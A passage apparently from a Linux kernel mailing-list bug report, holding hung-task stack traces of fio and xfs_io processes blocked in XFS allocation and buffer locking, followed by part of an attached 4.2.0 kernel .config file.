do_io_submit+0x198/0x4f0 [ 1501.261484] [] do_io_submit+0x257/0x4f0 [ 1501.261486] [] SyS_io_submit+0x10/0x20 [ 1501.261487] [] entry_SYSCALL_64_fastpath+0x12/0x71 [ 1501.261488] fio D ffff88043fc97480 0 3807 3734 0x00000000 [ 1501.261489] ffff88040fa1f1e8 0000000000000086 ffff88041122b500 ffff8801fcdc1a80 [ 1501.261491] ffff88040fa20000 ffff88040fb5cf30 ffff8801fcdc1a80 0000000000000008 [ 1501.261492] ffff8801fcd70010 ffff88040fa1f200 ffffffff8195ce23 7fffffffffffffff [ 1501.261493] Call Trace: [ 1501.261495] [] schedule+0x33/0x80 [ 1501.261496] [] schedule_timeout+0x1fa/0x290 [ 1501.261498] [] ? xfs_buf_free+0xf3/0x140 [ 1501.261499] [] __down+0x72/0xc0 [ 1501.261501] [] ? _xfs_buf_find+0x1d7/0x370 [ 1501.261502] [] down+0x41/0x50 [ 1501.261503] [] xfs_buf_lock+0x3c/0xe0 [ 1501.261504] [] _xfs_buf_find+0x1d7/0x370 [ 1501.261506] [] xfs_buf_get_map+0x2a/0x180 [ 1501.261507] [] xfs_buf_read_map+0x2c/0x100 [ 1501.261508] [] xfs_trans_read_buf_map+0x1a5/0x360 [ 1501.261510] [] xfs_read_agf+0xb1/0x140 [ 1501.261511] [] xfs_alloc_read_agf+0x64/0x260 [ 1501.261512] [] xfs_alloc_fix_freelist+0x3b1/0x4d0 [ 1501.261525] [] ? xfs_bmap_add_extent_unwritten_real+0x3ee/0x1ae0 [ 1501.261526] [] ? radix_tree_lookup+0xd/0x10 [ 1501.261527] [] ? xfs_perag_get+0x2a/0xc0 [ 1501.261529] [] ? radix_tree_lookup+0xd/0x10 [ 1501.261530] [] ? xfs_perag_get+0x2a/0xc0 [ 1501.261531] [] xfs_alloc_vextent+0x22d/0x7f0 [ 1501.261532] [] xfs_bmap_btalloc+0x3c1/0x800 [ 1501.261534] [] ? xfs_iext_get_ext+0x95/0xf0 [ 1501.261535] [] xfs_bmap_alloc+0x24/0x30 [ 1501.261537] [] xfs_bmapi_write+0x6b3/0xf50 [ 1501.261539] [] xfs_iomap_write_direct+0x248/0x380 [ 1501.261541] [] __xfs_get_blocks+0x458/0x7b0 [ 1501.261542] [] xfs_get_blocks_direct+0x14/0x20 [ 1501.261544] [] do_blockdev_direct_IO+0xf8c/0x2bd0 [ 1501.261546] [] ? xfs_get_blocks+0x20/0x20 [ 1501.261548] [] __blockdev_direct_IO+0x43/0x50 [ 1501.261549] [] ? __xfs_end_io_direct_write+0xd0/0xd0 [ 1501.261551] [] xfs_vm_direct_IO+0xc1/0x120 [ 1501.261552] [] ? __xfs_end_io_direct_write+0xd0/0xd0 [ 1501.261553] [] xfs_file_dio_aio_write+0x1e8/0x3b0 [ 1501.261555] [] ? xfs_file_buffered_aio_write+0x250/0x250 [ 1501.261556] [] xfs_file_write_iter+0x81/0x120 [ 1501.261558] [] aio_run_iocb+0x26a/0x2d0 [ 1501.261560] [] ? find_get_entries+0x169/0x1b0 [ 1501.261561] [] ? aio_read_events+0x28d/0x380 [ 1501.261563] [] ? do_io_submit+0x198/0x4f0 [ 1501.261564] [] do_io_submit+0x257/0x4f0 [ 1501.261566] [] SyS_io_submit+0x10/0x20 [ 1501.261567] [] entry_SYSCALL_64_fastpath+0x12/0x71 [ 1501.261568] fio D ffff88043fc57480 0 3808 3734 0x00000000 [ 1501.261570] ffff88040e1431e8 0000000000000086 ffff88041122a7c0 ffff8801fcdc27c0 [ 1501.261571] ffff88040e144000 ffff88040fb5cf30 ffff8801fcdc27c0 0000000000000008 [ 1501.261572] ffff8801fcd70010 ffff88040e143200 ffffffff8195ce23 7fffffffffffffff [ 1501.261573] Call Trace: [ 1501.261575] [] schedule+0x33/0x80 [ 1501.261576] [] schedule_timeout+0x1fa/0x290 [ 1501.261577] [] ? down_trylock+0x2e/0x40 [ 1501.261579] [] __down+0x72/0xc0 [ 1501.261580] [] ? _xfs_buf_find+0x1d7/0x370 [ 1501.261581] [] down+0x41/0x50 [ 1501.261583] [] xfs_buf_lock+0x3c/0xe0 [ 1501.261584] [] _xfs_buf_find+0x1d7/0x370 [ 1501.261585] [] xfs_buf_get_map+0x2a/0x180 [ 1501.261586] [] xfs_buf_read_map+0x2c/0x100 [ 1501.261588] [] xfs_trans_read_buf_map+0x1a5/0x360 [ 1501.261589] [] xfs_read_agf+0xb1/0x140 [ 1501.261590] [] xfs_alloc_read_agf+0x64/0x260 [ 1501.261591] [] xfs_alloc_fix_freelist+0x3b1/0x4d0 [ 1501.261593] [] ? xfs_bmap_add_extent_unwritten_real+0x3ee/0x1ae0 [ 1501.261594] [] ? radix_tree_lookup+0xd/0x10 [ 1501.261595] [] ? xfs_perag_get+0x2a/0xc0 [ 1501.261596] [] ? radix_tree_lookup+0xd/0x10 [ 1501.261597] [] ? xfs_perag_get+0x2a/0xc0 [ 1501.261599] [] xfs_alloc_vextent+0x22d/0x7f0 [ 1501.261600] [] xfs_bmap_btalloc+0x3c1/0x800 [ 1501.261601] [] ? xfs_iext_get_ext+0x95/0xf0 [ 1501.261603] [] xfs_bmap_alloc+0x24/0x30 [ 1501.261604] [] xfs_bmapi_write+0x6b3/0xf50 [ 1501.261605] [] ? xfs_iext_bno_to_irec+0xaa/0xf0 [ 1501.261607] [] xfs_iomap_write_direct+0x248/0x380 [ 1501.261609] [] __xfs_get_blocks+0x458/0x7b0 [ 1501.261611] [] xfs_get_blocks_direct+0x14/0x20 [ 1501.261613] [] do_blockdev_direct_IO+0xf8c/0x2bd0 [ 1501.261615] [] ? xfs_get_blocks+0x20/0x20 [ 1501.261616] [] __blockdev_direct_IO+0x43/0x50 [ 1501.261618] [] ? __xfs_end_io_direct_write+0xd0/0xd0 [ 1501.261619] [] xfs_vm_direct_IO+0xc1/0x120 [ 1501.261621] [] ? __xfs_end_io_direct_write+0xd0/0xd0 [ 1501.261622] [] xfs_file_dio_aio_write+0x1e8/0x3b0 [ 1501.261623] [] ? xfs_file_buffered_aio_write+0x250/0x250 [ 1501.261625] [] ? xfs_file_buffered_aio_write+0x250/0x250 [ 1501.261626] [] xfs_file_write_iter+0x81/0x120 [ 1501.261628] [] aio_run_iocb+0x26a/0x2d0 [ 1501.261629] [] ? aio_read_events+0x28d/0x380 [ 1501.261631] [] ? do_io_submit+0x198/0x4f0 [ 1501.261632] [] do_io_submit+0x257/0x4f0 [ 1501.261634] [] SyS_io_submit+0x10/0x20 [ 1501.261635] [] entry_SYSCALL_64_fastpath+0x12/0x71 [ 1501.261636] fio D ffff88043fcd7480 0 3809 3734 0x00000000 [ 1501.261638] ffff8801fce63b68 0000000000000082 ffff88041122c240 ffff8801fcdc6a00 [ 1501.261639] ffff8801fce64000 ffff8800363a0500 ffffffffffffffff ffffffff8140d664 [ 1501.261640] ffffffff8140dbb0 ffff8801fce63b80 ffffffff8195ce23 ffff8801fcdc6a00 [ 1501.261641] Call Trace: [ 1501.261643] [] ? xfs_file_dio_aio_write+0xb4/0x3b0 [ 1501.261644] [] ? xfs_file_buffered_aio_write+0x250/0x250 [ 1501.261645] [] schedule+0x33/0x80 [ 1501.261647] [] rwsem_down_read_failed+0xe4/0x140 [ 1501.261648] [] call_rwsem_down_read_failed+0x14/0x30 [ 1501.261650] [] ? down_read+0x20/0x30 [ 1501.261651] [] xfs_ilock+0x18b/0x1b0 [ 1501.261652] [] xfs_file_dio_aio_write+0xb4/0x3b0 [ 1501.261654] [] ? selinux_file_permission+0xc3/0x110 [ 1501.261656] [] ? xfs_file_buffered_aio_write+0x250/0x250 [ 1501.261657] [] xfs_file_write_iter+0x81/0x120 [ 1501.261658] [] aio_run_iocb+0x26a/0x2d0 [ 1501.261660] [] ? aio_read_events+0x28d/0x380 [ 1501.261662] [] ? do_io_submit+0x198/0x4f0 [ 1501.261663] [] do_io_submit+0x257/0x4f0 [ 1501.261665] [] SyS_io_submit+0x10/0x20 [ 1501.261666] [] entry_SYSCALL_64_fastpath+0x12/0x71 [ 1501.261667] fio D ffff88043fc57480 0 3810 3734 0x00000000 [ 1501.261668] ffff8800b00db1e8 0000000000000082 ffff88041122a7c0 ffff8801fcdc3500 [ 1501.261669] ffff8800b00dc000 ffff88040fb5cf30 ffff8801fcdc3500 0000000000000008 [ 1501.261671] ffff8801fcd70010 ffff8800b00db200 ffffffff8195ce23 7fffffffffffffff [ 1501.261672] Call Trace: [ 1501.261673] [] schedule+0x33/0x80 [ 1501.261675] [] schedule_timeout+0x1fa/0x290 [ 1501.261676] [] ? down_trylock+0x2e/0x40 [ 1501.261677] [] ? down_trylock+0x2e/0x40 [ 1501.261679] [] __down+0x72/0xc0 [ 1501.261680] [] ? _xfs_buf_find+0x190/0x370 [ 1501.261681] [] ? kmem_cache_alloc+0x1c6/0x1f0 [ 1501.261682] [] ? _xfs_buf_find+0x1d7/0x370 [ 1501.261684] [] down+0x41/0x50 [ 1501.261685] [] xfs_buf_lock+0x3c/0xe0 [ 1501.261686] [] _xfs_buf_find+0x1d7/0x370 [ 1501.261687] [] xfs_buf_get_map+0x2a/0x180 [ 1501.261688] [] xfs_buf_read_map+0x2c/0x100 [ 1501.261690] [] xfs_trans_read_buf_map+0x1a5/0x360 [ 1501.261691] [] xfs_read_agf+0xb1/0x140 [ 1501.261692] [] xfs_alloc_read_agf+0x64/0x260 [ 1501.261693] [] xfs_alloc_fix_freelist+0x3b1/0x4d0 [ 1501.261694] [] ? xfs_alloc_ag_vextent_near+0xaf2/0xce0 [ 1501.261696] [] ? radix_tree_lookup+0xd/0x10 [ 1501.261697] [] ? xfs_perag_get+0x2a/0xc0 [ 1501.261698] [] xfs_alloc_vextent+0x22d/0x7f0 [ 1501.261700] [] xfs_bmap_btalloc+0x716/0x800 [ 1501.261701] [] ? xfs_iext_get_ext+0x95/0xf0 [ 1501.261702] [] xfs_bmap_alloc+0x24/0x30 [ 1501.261704] [] xfs_bmapi_write+0x6b3/0xf50 [ 1501.261706] [] xfs_iomap_write_direct+0x248/0x380 [ 1501.261708] [] __xfs_get_blocks+0x458/0x7b0 [ 1501.261709] [] xfs_get_blocks_direct+0x14/0x20 [ 1501.261711] [] do_blockdev_direct_IO+0xf8c/0x2bd0 [ 1501.261713] [] ? xfs_get_blocks+0x20/0x20 [ 1501.261715] [] __blockdev_direct_IO+0x43/0x50 [ 1501.261716] [] ? __xfs_end_io_direct_write+0xd0/0xd0 [ 1501.261718] [] xfs_vm_direct_IO+0xc1/0x120 [ 1501.261719] [] ? __xfs_end_io_direct_write+0xd0/0xd0 [ 1501.261720] [] xfs_file_dio_aio_write+0x1e8/0x3b0 [ 1501.261722] [] ? xfs_file_buffered_aio_write+0x250/0x250 [ 1501.261723] [] xfs_file_write_iter+0x81/0x120 [ 1501.261725] [] aio_run_iocb+0x26a/0x2d0 [ 1501.261726] [] ? aio_read_events+0x28d/0x380 [ 1501.261728] [] ? do_io_submit+0x198/0x4f0 [ 1501.261729] [] do_io_submit+0x257/0x4f0 [ 1501.261731] [] SyS_io_submit+0x10/0x20 [ 1501.261732] [] entry_SYSCALL_64_fastpath+0x12/0x71 [ 1501.261733] fio D ffff88043fd17480 0 3812 3734 0x00000000 [ 1501.261735] ffff8800b01ebb60 0000000000000086 ffff88041122cf80 ffff8800ba48c240 [ 1501.261737] ffff8804107e81e8 ffff8800b01ebb78 ffffffff8195ce23 ffff8800b01ebbec [ 1501.261740] [] schedule+0x33/0x80 [ 1501.261742] [] ? wait_woken+0x80/0x80 [ 1501.261746] [] xfs_flush_inodes+0x28/0x40 [ 1501.261748] [] ? xfs_file_buffered_aio_write+0x250/0x250 [ 1501.261754] [] ? do_io_submit+0x198/0x4f0 [ 1501.261758] [] SyS_io_submit+0x10/0x20 [ 1501.261760] xfs_io D ffff88043fc57480 0 4225 3474 0x00000000 [ 1501.261765] Call Trace: [ 1501.261767] [] schedule+0x33/0x80 [ 1501.261770] [] ? down_trylock+0x2e/0x40 [ 1501.261772] [] ? kmem_cache_alloc+0x1c6/0x1f0 [ 1501.261774] [] ? _xfs_buf_find+0x1d7/0x370 [ 1501.261777] [] xfs_buf_lock+0x3c/0xe0 [ 1501.261779] [] xfs_buf_get_map+0x2a/0x180 [ 1501.261783] [] xfs_read_agf+0xb1/0x140 [ 1501.261785] [] xfs_alloc_fix_freelist+0x3b1/0x4d0 [ 1501.261787] [] ? radix_tree_lookup+0xd/0x10 [ 1501.261792] [] xfs_free_extent+0xd2/0x160 [ 1501.261795] [] xfs_bmap_finish+0x120/0x150 [ 1501.261798] [] xfs_setattr_size+0x3a7/0x440 [ 1501.261801] [] notify_change+0x237/0x350 [ 1501.261805] [] do_sys_ftruncate.constprop.15+0xe9/0x140 --x+6KMIRAuhnl3hBn Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=".config" # # Automatically generated file; DO NOT EDIT. # Linux/x86 4.2.0 Kernel Configuration # CONFIG_64BIT=y CONFIG_X86_64=y CONFIG_X86=y CONFIG_INSTRUCTION_DECODER=y CONFIG_PERF_EVENTS_INTEL_UNCORE=y CONFIG_OUTPUT_FORMAT="elf64-x86-64" CONFIG_ARCH_DEFCONFIG="arch/x86/configs/x86_64_defconfig" CONFIG_LOCKDEP_SUPPORT=y CONFIG_STACKTRACE_SUPPORT=y CONFIG_HAVE_LATENCYTOP_SUPPORT=y CONFIG_MMU=y CONFIG_NEED_DMA_MAP_STATE=y CONFIG_NEED_SG_DMA_LENGTH=y CONFIG_GENERIC_ISA_DMA=y CONFIG_GENERIC_BUG=y CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y CONFIG_GENERIC_HWEIGHT=y CONFIG_ARCH_MAY_HAVE_PC_FDC=y CONFIG_RWSEM_XCHGADD_ALGORITHM=y CONFIG_GENERIC_CALIBRATE_DELAY=y CONFIG_ARCH_HAS_CPU_RELAX=y CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y CONFIG_HAVE_SETUP_PER_CPU_AREA=y CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y CONFIG_ARCH_HIBERNATION_POSSIBLE=y CONFIG_ARCH_SUSPEND_POSSIBLE=y CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y CONFIG_ARCH_WANT_GENERAL_HUGETLB=y CONFIG_ZONE_DMA32=y CONFIG_AUDIT_ARCH=y CONFIG_ARCH_SUPPORTS_OPTIMIZED_INLINING=y CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y CONFIG_HAVE_INTEL_TXT=y CONFIG_X86_64_SMP=y CONFIG_ARCH_HWEIGHT_CFLAGS="-fcall-saved-rdi -fcall-saved-rsi -fcall-saved-rdx -fcall-saved-rcx -fcall-saved-r8 -fcall-saved-r9 -fcall-saved-r10 -fcall-saved-r11" CONFIG_ARCH_SUPPORTS_UPROBES=y CONFIG_FIX_EARLYCON_MEM=y CONFIG_PGTABLE_LEVELS=4 CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config" CONFIG_IRQ_WORK=y CONFIG_BUILDTIME_EXTABLE_SORT=y # # General setup # CONFIG_INIT_ENV_ARG_LIMIT=32 CONFIG_CROSS_COMPILE="" # CONFIG_COMPILE_TEST is not set CONFIG_LOCALVERSION="" # CONFIG_LOCALVERSION_AUTO is not set CONFIG_HAVE_KERNEL_GZIP=y CONFIG_HAVE_KERNEL_BZIP2=y CONFIG_HAVE_KERNEL_LZMA=y CONFIG_HAVE_KERNEL_XZ=y CONFIG_HAVE_KERNEL_LZO=y CONFIG_HAVE_KERNEL_LZ4=y CONFIG_KERNEL_GZIP=y # CONFIG_KERNEL_BZIP2 is not set # CONFIG_KERNEL_LZMA is not set # CONFIG_KERNEL_XZ is not set # CONFIG_KERNEL_LZO is not set # CONFIG_KERNEL_LZ4 is not set CONFIG_DEFAULT_HOSTNAME="(none)" CONFIG_SWAP=y CONFIG_SYSVIPC=y CONFIG_SYSVIPC_SYSCTL=y CONFIG_POSIX_MQUEUE=y CONFIG_POSIX_MQUEUE_SYSCTL=y CONFIG_CROSS_MEMORY_ATTACH=y CONFIG_FHANDLE=y # CONFIG_USELIB is not set CONFIG_AUDIT=y CONFIG_HAVE_ARCH_AUDITSYSCALL=y CONFIG_AUDITSYSCALL=y CONFIG_AUDIT_WATCH=y CONFIG_AUDIT_TREE=y # # IRQ subsystem # CONFIG_GENERIC_IRQ_PROBE=y CONFIG_GENERIC_IRQ_SHOW=y CONFIG_GENERIC_PENDING_IRQ=y CONFIG_IRQ_DOMAIN=y CONFIG_IRQ_DOMAIN_HIERARCHY=y CONFIG_GENERIC_MSI_IRQ=y CONFIG_GENERIC_MSI_IRQ_DOMAIN=y # CONFIG_IRQ_DOMAIN_DEBUG is not set CONFIG_IRQ_FORCED_THREADING=y CONFIG_SPARSE_IRQ=y CONFIG_CLOCKSOURCE_WATCHDOG=y CONFIG_ARCH_CLOCKSOURCE_DATA=y CONFIG_CLOCKSOURCE_VALIDATE_LAST_CYCLE=y CONFIG_GENERIC_TIME_VSYSCALL=y CONFIG_GENERIC_CLOCKEVENTS=y CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y CONFIG_GENERIC_CMOS_UPDATE=y # # Timers subsystem # CONFIG_TICK_ONESHOT=y CONFIG_NO_HZ_COMMON=y # CONFIG_HZ_PERIODIC is not set # CONFIG_NO_HZ_IDLE is not set CONFIG_NO_HZ_FULL=y # CONFIG_NO_HZ_FULL_ALL is not set # CONFIG_NO_HZ_FULL_SYSIDLE is not set CONFIG_NO_HZ=y CONFIG_HIGH_RES_TIMERS=y # # CPU/Task time and stats accounting # CONFIG_VIRT_CPU_ACCOUNTING=y CONFIG_VIRT_CPU_ACCOUNTING_GEN=y CONFIG_BSD_PROCESS_ACCT=y CONFIG_BSD_PROCESS_ACCT_V3=y CONFIG_TASKSTATS=y CONFIG_TASK_DELAY_ACCT=y CONFIG_TASK_XACCT=y CONFIG_TASK_IO_ACCOUNTING=y # # RCU Subsystem # CONFIG_TREE_RCU=y # CONFIG_RCU_EXPERT is not set CONFIG_SRCU=y # CONFIG_TASKS_RCU is not set CONFIG_RCU_STALL_COMMON=y CONFIG_CONTEXT_TRACKING=y CONFIG_RCU_USER_QS=y # CONFIG_CONTEXT_TRACKING_FORCE is not set # CONFIG_TREE_RCU_TRACE is not set CONFIG_RCU_NOCB_CPU=y # CONFIG_RCU_NOCB_CPU_NONE is not set # CONFIG_RCU_NOCB_CPU_ZERO is not set CONFIG_RCU_NOCB_CPU_ALL=y # CONFIG_RCU_EXPEDITE_BOOT is not set CONFIG_BUILD_BIN2C=y CONFIG_IKCONFIG=m # CONFIG_IKCONFIG_PROC is not set CONFIG_LOG_BUF_SHIFT=18 CONFIG_LOG_CPU_MAX_BUF_SHIFT=12 CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y CONFIG_ARCH_SUPPORTS_INT128=y CONFIG_NUMA_BALANCING=y CONFIG_NUMA_BALANCING_DEFAULT_ENABLED=y CONFIG_CGROUPS=y # CONFIG_CGROUP_DEBUG is not set CONFIG_CGROUP_FREEZER=y CONFIG_CGROUP_DEVICE=y CONFIG_CPUSETS=y CONFIG_PROC_PID_CPUSET=y CONFIG_CGROUP_CPUACCT=y CONFIG_PAGE_COUNTER=y CONFIG_MEMCG=y CONFIG_MEMCG_SWAP=y CONFIG_MEMCG_SWAP_ENABLED=y CONFIG_MEMCG_KMEM=y CONFIG_CGROUP_HUGETLB=y CONFIG_CGROUP_PERF=y CONFIG_CGROUP_SCHED=y CONFIG_FAIR_GROUP_SCHED=y CONFIG_CFS_BANDWIDTH=y CONFIG_RT_GROUP_SCHED=y CONFIG_BLK_CGROUP=y # CONFIG_DEBUG_BLK_CGROUP is not set CONFIG_CGROUP_WRITEBACK=y # CONFIG_CHECKPOINT_RESTORE is not set CONFIG_NAMESPACES=y CONFIG_UTS_NS=y CONFIG_IPC_NS=y CONFIG_USER_NS=y CONFIG_PID_NS=y CONFIG_NET_NS=y CONFIG_SCHED_AUTOGROUP=y # CONFIG_SYSFS_DEPRECATED is not set CONFIG_RELAY=y CONFIG_BLK_DEV_INITRD=y CONFIG_INITRAMFS_SOURCE="" CONFIG_RD_GZIP=y CONFIG_RD_BZIP2=y CONFIG_RD_LZMA=y CONFIG_RD_XZ=y CONFIG_RD_LZO=y CONFIG_RD_LZ4=y # CONFIG_CC_OPTIMIZE_FOR_SIZE is not set CONFIG_SYSCTL=y CONFIG_ANON_INODES=y CONFIG_HAVE_UID16=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y CONFIG_BPF=y CONFIG_EXPERT=y CONFIG_UID16=y CONFIG_MULTIUSER=y CONFIG_SGETMASK_SYSCALL=y CONFIG_SYSFS_SYSCALL=y # CONFIG_SYSCTL_SYSCALL is not set CONFIG_KALLSYMS=y CONFIG_KALLSYMS_ALL=y CONFIG_PRINTK=y CONFIG_BUG=y CONFIG_ELF_CORE=y CONFIG_PCSPKR_PLATFORM=y CONFIG_BASE_FULL=y CONFIG_FUTEX=y CONFIG_EPOLL=y CONFIG_SIGNALFD=y CONFIG_TIMERFD=y CONFIG_EVENTFD=y # CONFIG_BPF_SYSCALL is not set CONFIG_SHMEM=y CONFIG_AIO=y CONFIG_ADVISE_SYSCALLS=y CONFIG_PCI_QUIRKS=y # CONFIG_EMBEDDED is not set CONFIG_HAVE_PERF_EVENTS=y # # Kernel Performance Events And Counters # CONFIG_PERF_EVENTS=y # CONFIG_DEBUG_PERF_USE_VMALLOC is not set CONFIG_VM_EVENT_COUNTERS=y CONFIG_SLUB_DEBUG=y # CONFIG_COMPAT_BRK is not set # CONFIG_SLAB is not set CONFIG_SLUB=y # CONFIG_SLOB is not set CONFIG_SLUB_CPU_PARTIAL=y CONFIG_SYSTEM_TRUSTED_KEYRING=y CONFIG_PROFILING=y CONFIG_TRACEPOINTS=y # CONFIG_OPROFILE is not set CONFIG_HAVE_OPROFILE=y CONFIG_OPROFILE_NMI_TIMER=y CONFIG_KPROBES=y CONFIG_JUMP_LABEL=y CONFIG_OPTPROBES=y CONFIG_KPROBES_ON_FTRACE=y CONFIG_UPROBES=y # CONFIG_HAVE_64BIT_ALIGNED_ACCESS is not set CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS=y CONFIG_ARCH_USE_BUILTIN_BSWAP=y CONFIG_KRETPROBES=y CONFIG_HAVE_IOREMAP_PROT=y CONFIG_HAVE_KPROBES=y CONFIG_HAVE_KRETPROBES=y CONFIG_HAVE_OPTPROBES=y CONFIG_HAVE_KPROBES_ON_FTRACE=y CONFIG_HAVE_ARCH_TRACEHOOK=y CONFIG_HAVE_DMA_ATTRS=y CONFIG_HAVE_DMA_CONTIGUOUS=y CONFIG_GENERIC_SMP_IDLE_THREAD=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y CONFIG_HAVE_CLK=y CONFIG_HAVE_DMA_API_DEBUG=y CONFIG_HAVE_HW_BREAKPOINT=y CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y CONFIG_HAVE_USER_RETURN_NOTIFIER=y CONFIG_HAVE_PERF_EVENTS_NMI=y CONFIG_HAVE_PERF_REGS=y CONFIG_HAVE_PERF_USER_STACK_DUMP=y CONFIG_HAVE_ARCH_JUMP_LABEL=y CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y CONFIG_HAVE_CMPXCHG_LOCAL=y CONFIG_HAVE_CMPXCHG_DOUBLE=y CONFIG_ARCH_WANT_COMPAT_IPC_PARSE_VERSION=y CONFIG_ARCH_WANT_OLD_COMPAT_IPC=y CONFIG_HAVE_ARCH_SECCOMP_FILTER=y CONFIG_SECCOMP_FILTER=y CONFIG_HAVE_CC_STACKPROTECTOR=y CONFIG_CC_STACKPROTECTOR=y # CONFIG_CC_STACKPROTECTOR_NONE is not set # CONFIG_CC_STACKPROTECTOR_REGULAR is not set CONFIG_CC_STACKPROTECTOR_STRONG=y CONFIG_HAVE_CONTEXT_TRACKING=y CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y CONFIG_HAVE_ARCH_HUGE_VMAP=y CONFIG_HAVE_ARCH_SOFT_DIRTY=y CONFIG_MODULES_USE_ELF_RELA=y CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y CONFIG_ARCH_HAS_ELF_RANDOMIZE=y CONFIG_HAVE_COPY_THREAD_TLS=y CONFIG_OLD_SIGSUSPEND3=y CONFIG_COMPAT_OLD_SIGACTION=y # # GCOV-based kernel profiling # # CONFIG_GCOV_KERNEL is not set CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # CONFIG_HAVE_GENERIC_DMA_COHERENT is not set CONFIG_SLABINFO=y CONFIG_RT_MUTEXES=y CONFIG_BASE_SMALL=0 CONFIG_MODULES=y # CONFIG_MODULE_FORCE_LOAD is not set CONFIG_MODULE_UNLOAD=y # CONFIG_MODULE_FORCE_UNLOAD is not set # CONFIG_MODVERSIONS is not set # CONFIG_MODULE_SRCVERSION_ALL is not set CONFIG_MODULE_SIG=y # CONFIG_MODULE_SIG_FORCE is not set CONFIG_MODULE_SIG_ALL=y # CONFIG_MODULE_SIG_SHA1 is not set # CONFIG_MODULE_SIG_SHA224 is not set CONFIG_MODULE_SIG_SHA256=y # CONFIG_MODULE_SIG_SHA384 is not set # CONFIG_MODULE_SIG_SHA512 is not set CONFIG_MODULE_SIG_HASH="sha256" # CONFIG_MODULE_COMPRESS is not set CONFIG_MODULES_TREE_LOOKUP=y CONFIG_STOP_MACHINE=y CONFIG_BLOCK=y CONFIG_BLK_DEV_BSG=y CONFIG_BLK_DEV_BSGLIB=y CONFIG_BLK_DEV_INTEGRITY=y CONFIG_BLK_DEV_THROTTLING=y # CONFIG_BLK_CMDLINE_PARSER is not set # # Partition Types # CONFIG_PARTITION_ADVANCED=y # CONFIG_ACORN_PARTITION is not set CONFIG_AIX_PARTITION=y CONFIG_OSF_PARTITION=y CONFIG_AMIGA_PARTITION=y # CONFIG_ATARI_PARTITION is not set CONFIG_MAC_PARTITION=y CONFIG_MSDOS_PARTITION=y CONFIG_BSD_DISKLABEL=y CONFIG_MINIX_SUBPARTITION=y CONFIG_SOLARIS_X86_PARTITION=y CONFIG_UNIXWARE_DISKLABEL=y CONFIG_LDM_PARTITION=y # CONFIG_LDM_DEBUG is not set CONFIG_SGI_PARTITION=y # CONFIG_ULTRIX_PARTITION is not set CONFIG_SUN_PARTITION=y CONFIG_KARMA_PARTITION=y CONFIG_EFI_PARTITION=y # CONFIG_SYSV68_PARTITION is not set # CONFIG_CMDLINE_PARTITION is not set CONFIG_BLOCK_COMPAT=y # # IO Schedulers # CONFIG_IOSCHED_NOOP=y CONFIG_IOSCHED_DEADLINE=y CONFIG_IOSCHED_CFQ=y CONFIG_CFQ_GROUP_IOSCHED=y # CONFIG_DEFAULT_DEADLINE is not set CONFIG_DEFAULT_CFQ=y # CONFIG_DEFAULT_NOOP is not set CONFIG_DEFAULT_IOSCHED="cfq" CONFIG_ASN1=y CONFIG_INLINE_SPIN_UNLOCK_IRQ=y CONFIG_INLINE_READ_UNLOCK=y CONFIG_INLINE_READ_UNLOCK_IRQ=y CONFIG_INLINE_WRITE_UNLOCK=y CONFIG_INLINE_WRITE_UNLOCK_IRQ=y CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y CONFIG_MUTEX_SPIN_ON_OWNER=y CONFIG_RWSEM_SPIN_ON_OWNER=y CONFIG_LOCK_SPIN_ON_OWNER=y CONFIG_ARCH_USE_QUEUED_SPINLOCKS=y CONFIG_QUEUED_SPINLOCKS=y CONFIG_ARCH_USE_QUEUED_RWLOCKS=y CONFIG_QUEUED_RWLOCKS=y CONFIG_FREEZER=y # # Processor type and features # # CONFIG_ZONE_DMA is not set CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y CONFIG_X86_X2APIC=y CONFIG_X86_MPPARSE=y CONFIG_X86_EXTENDED_PLATFORM=y # CONFIG_X86_NUMACHIP is not set # CONFIG_X86_VSMP is not set CONFIG_X86_UV=y # CONFIG_X86_GOLDFISH is not set CONFIG_X86_INTEL_LPSS=y # CONFIG_X86_AMD_PLATFORM_DEVICE is not set CONFIG_IOSF_MBI=y # CONFIG_IOSF_MBI_DEBUG is not set CONFIG_X86_SUPPORTS_MEMORY_FAILURE=y CONFIG_SCHED_OMIT_FRAME_POINTER=y CONFIG_HYPERVISOR_GUEST=y CONFIG_PARAVIRT=y # CONFIG_PARAVIRT_DEBUG is not set # CONFIG_PARAVIRT_SPINLOCKS is not set CONFIG_XEN=y CONFIG_XEN_DOM0=y CONFIG_XEN_PVHVM=y CONFIG_XEN_MAX_DOMAIN_MEMORY=500 CONFIG_XEN_SAVE_RESTORE=y CONFIG_XEN_DEBUG_FS=y # CONFIG_XEN_PVH is not set CONFIG_KVM_GUEST=y # CONFIG_KVM_DEBUG_FS is not set CONFIG_PARAVIRT_TIME_ACCOUNTING=y CONFIG_PARAVIRT_CLOCK=y CONFIG_NO_BOOTMEM=y # CONFIG_MK8 is not set # CONFIG_MPSC is not set # CONFIG_MCORE2 is not set # CONFIG_MATOM is not set CONFIG_GENERIC_CPU=y CONFIG_X86_INTERNODE_CACHE_SHIFT=6 CONFIG_X86_L1_CACHE_SHIFT=6 CONFIG_X86_TSC=y 